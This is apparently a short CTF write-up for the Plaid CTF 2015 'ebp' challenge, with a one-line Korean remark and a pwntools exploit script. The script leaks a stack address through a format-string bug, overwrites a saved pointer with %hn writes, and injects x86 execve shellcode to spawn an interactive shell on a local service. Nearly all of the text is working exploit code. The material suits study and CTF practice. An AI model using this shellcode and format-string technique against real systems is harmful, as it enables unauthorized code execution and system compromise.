Plaid CTF 2015 ebp

후기 : fsb 죽어라!!

from pwn import *
context.log_level = 'debug'

sh = '\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89'
sh += '\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80'

s = remote('localhost',4000)

s.sendline('%4$x')
ebp = s.recvuntil('\n')
ebp = int(ebp,16)+4 & 0xffff
  
payload = '%' + str(ebp) + 'c%4$hn'
s.sendline(payload)
s.recvuntil('\n')

exp = sh + '%' + '41060' + 'c' + '%12$hn'
s.sendline(exp)
s.recvuntil('\n')

s.interactive()